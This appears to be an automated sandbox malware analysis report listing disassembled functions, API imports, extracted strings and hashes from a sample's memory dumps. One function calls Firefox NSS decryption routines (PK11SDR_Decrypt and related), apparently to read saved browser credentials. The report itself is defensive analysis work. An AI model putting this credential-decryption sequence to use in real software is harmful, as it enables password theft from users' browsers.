String ID: (root)$7S+Y/$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-1729636505
Opcode ID: a00a48c12f30244548d06d26991a5dd928c5769fe688ea35e8015c292c1af36d
Instruction ID: 79931621ce2a00e912a6b7c14b383eadf870f3f370cc7ed14fe6f5cc58752743
Opcode Fuzzy Hash: a00a48c12f30244548d06d26991a5dd928c5769fe688ea35e8015c292c1af36d
Instruction Fuzzy Hash: C991CEB07087808FD724CF28D49469FB7E1AF89358F14492DE99A8B790EB31D949CB52

Function 00ACC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ACC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ACC87C
PK11_GetInternalKeySlot.NSS3 ref: 00ACC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00ACC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00ACC8EB
lstrcat.KERNEL32(?,00AE0B46), ref: 00ACC943
lstrcat.KERNEL32(?,00AE0B47), ref: 00ACC957
PK11_FreeSlot.NSS3(?), ref: 00ACC961
lstrcat.KERNEL32(?,00AE0B4E), ref: 00ACC978

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 9fc00dbba07f69b0ec25cca67a2e0d0c49a43f45b57565b514b19676230e7f37
Instruction ID: e4244d3b8f0fcc2098b57e616e10b51ce9fbff5baaf3218516b445193707c082
Opcode Fuzzy Hash: 9fc00dbba07f69b0ec25cca67a2e0d0c49a43f45b57565b514b19676230e7f37
Instruction Fuzzy Hash: 5F414DB590431AEBDB10DFA4DD89FFEB7B8BB48704F1045A8E509A6280D7705A84CFA1

Function 00E9445E Relevance: 12.9, Strings: 9, Instructions: 1634COMMON

Download Yara Rule

Strings

pxCN, xrefs: 00E946EE
Cq, xrefs: 00E949FD
/>+8, xrefs: 00E952A7
q{<m, xrefs: 00E9524D
t\i, xrefs: 00E94CD4
C,., xrefs: 00E95234
/0=o, xrefs: 00E948B3
!av, xrefs: 00E951DE
yo, xrefs: 00E954B0

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !av$/0=o$/>+8$C,.$Cq$pxCN$q{<m$t\i$yo
API String ID: 0-1456426709
Opcode ID: 4fc91971d9ab2326d8d138aafda62f7e70e33ad4f5aa64a1a085c297a47b49a9
Instruction ID: 7595b4acf6d4b80d58662d259629db7adeb80196a7fe195fe18fbb2b0a81a377
Opcode Fuzzy Hash: 4fc91971d9ab2326d8d138aafda62f7e70e33ad4f5aa64a1a085c297a47b49a9
Instruction Fuzzy Hash: E9B209F360C2049FE304AE2DEC8567ABBE9EFD4720F1A463DE6C4C7744E93598058696

Function 6CBBD4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6CBBDBDD
7S+Y/, xrefs: 6CBBD4F8
8, xrefs: 6CBBDC08
, xrefs: 6CBBDA88
-, xrefs: 6CBBD7DD
0, xrefs: 6CBBD852
0, xrefs: 6CBBDC7F
9, xrefs: 6CBBDE7F
@, xrefs: 6CBBDAF6

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$7S+Y/$8$9$@
API String ID: 0-1211097163
Opcode ID: 94463585150448fa8c0eb87fe035d72ac87296e0d506a6f3e9a942ed5ff2b8d1
Instruction ID: 5d08e86fbd2613841b6814e1c8a7226a95b1bae70e91fba4dc0d59812bab9f25
Opcode Fuzzy Hash: 94463585150448fa8c0eb87fe035d72ac87296e0d506a6f3e9a942ed5ff2b8d1
Instruction Fuzzy Hash: 4662BE3050C7858FD701CE39E49076ABBE2EF86318F184A1DE4D56BA59CB399885CB43

Function 00E8D564 Relevance: 10.4, Strings: 7, Instructions: 1621COMMON

Download Yara Rule

Strings

$@k, xrefs: 00E8E92F
t<.|, xrefs: 00E8DD68
dpl, xrefs: 00E8E826
&c/, xrefs: 00E8D67D
k_, xrefs: 00E8DC78
BEy, xrefs: 00E8DFB7
/}{, xrefs: 00E8D954

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $@k$&c/$BEy$dpl$t<.|$/}{$k_
API String ID: 0-3488169218
Opcode ID: 58f750dbd987e95efc98d17f1c09e18cda1a18303faa6f7e3a56c6e12f186c80
Instruction ID: 12497517cf7654490686d6adf44bff7e19dacc6bacb9e239abecb75d8445cb9e
Opcode Fuzzy Hash: 58f750dbd987e95efc98d17f1c09e18cda1a18303faa6f7e3a56c6e12f186c80
Instruction Fuzzy Hash: FDB207F3A0C2049FE304BE29EC8567AF7E5EF94720F1A493DEAC487744EA3558058697

Function 00E89F03 Relevance: 9.1, Strings: 6, Instructions: 1615COMMON

Download Yara Rule

Strings

[O, xrefs: 00E8A1D6
-[vS, xrefs: 00E8A2D5
:)~z, xrefs: 00E8A6B7
];|, xrefs: 00E8AF07
M?g, xrefs: 00E8A7F3
Ks, xrefs: 00E8B1CD

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -[vS$:)~z$[O$];|$Ks$M?g
API String ID: 0-3823416534
Opcode ID: 4f567b226e8956628e2f9bb670d3dbfcbc1063bba49d41868405519b3555c4d4
Instruction ID: 06a0c01322fc75786932ead462edd217ab1d5a4da0148a4c1770b48c465c02c1
Opcode Fuzzy Hash: 4f567b226e8956628e2f9bb670d3dbfcbc1063bba49d41868405519b3555c4d4
Instruction Fuzzy Hash: 90B204F360C2049FE3086E2DEC8567AFBE9EF94320F164A2DE6C4C7744EA3558458697

Function 00E91527 Relevance: 8.4, Strings: 6, Instructions: 911COMMON

Download Yara Rule

Strings

#[u, xrefs: 00E91880
vl, xrefs: 00E91BC1
xo, xrefs: 00E91B9E
9Yu, xrefs: 00E91A4E
SS, xrefs: 00E91D9F
b_{, xrefs: 00E91FA8

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #[u$9Yu$SS$b_{$vl$xo
API String ID: 0-3361683746
Opcode ID: 051e3817966d0a62531d4cffccd7625c7f26976f755e96b132903e5cbafc6a42
Instruction ID: 333cf35a1cf6fb46304d8fe0f1d438547de8b2d7f187105c60b7144bb1bef7d6
Opcode Fuzzy Hash: 051e3817966d0a62531d4cffccd7625c7f26976f755e96b132903e5cbafc6a42
Instruction Fuzzy Hash: 6C52F7F3A086049FD304AE2DDC8566AB7E6EFD4720F1A893DE6C4C3744EA3598058697

Function 00E97A79 Relevance: 7.9, Strings: 5, Instructions: 1647COMMON

Download Yara Rule

Strings

C2_], xrefs: 00E986A5
,uga, xrefs: 00E984D4
[vG, xrefs: 00E98AE2
>>r_, xrefs: 00E97F22
gIv, xrefs: 00E98C1F

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,uga$>>r_$C2_]$[vG$gIv
API String ID: 0-201812081
Opcode ID: 33a97ba133583b9a1b349ec4984b571e3227d2f692d985675957fbbc516eede9
Instruction ID: b6adf107f68e9865b8775d5478244edceebed14d99c22947f2912152a1c6ab31
Opcode Fuzzy Hash: 33a97ba133583b9a1b349ec4984b571e3227d2f692d985675957fbbc516eede9
Instruction Fuzzy Hash: 8FB206F3A086009FE304AE2DEC8567AFBE5EF94720F1A493DEAC487744E63558058797

Function 00E95F09 Relevance: 7.9, Strings: 5, Instructions: 1605COMMON

Download Yara Rule

Strings

+f, xrefs: 00E9645F
rzW, xrefs: 00E961BA
0_r, xrefs: 00E96DD7
FEm, xrefs: 00E9623F
6~g/, xrefs: 00E961F8

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0_r$6~g/$FEm$rzW$+f
API String ID: 0-2922023706
Opcode ID: 435086167a00414a80d2cb57cc5ef867cb205a60e0d88741f26bad893689d936
Instruction ID: 662d7ed338991a6c57aa0aabdedd7874b4772e9ba740f9e32f438cab3682c0b7
Opcode Fuzzy Hash: 435086167a00414a80d2cb57cc5ef867cb205a60e0d88741f26bad893689d936
Instruction Fuzzy Hash: AAB2E5F360C2049FE304AE2DDC8567AFBE9EF94320F16492DEAC4C7744EA7598058697

Function 00E8BA59 Relevance: 7.8, Strings: 5, Instructions: 1596COMMON

Download Yara Rule

Strings

:#>, xrefs: 00E8C01F
Vwq, xrefs: 00E8C62D
:z~z, xrefs: 00E8BDC8
FX, xrefs: 00E8C708
>l~, xrefs: 00E8C6D6

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
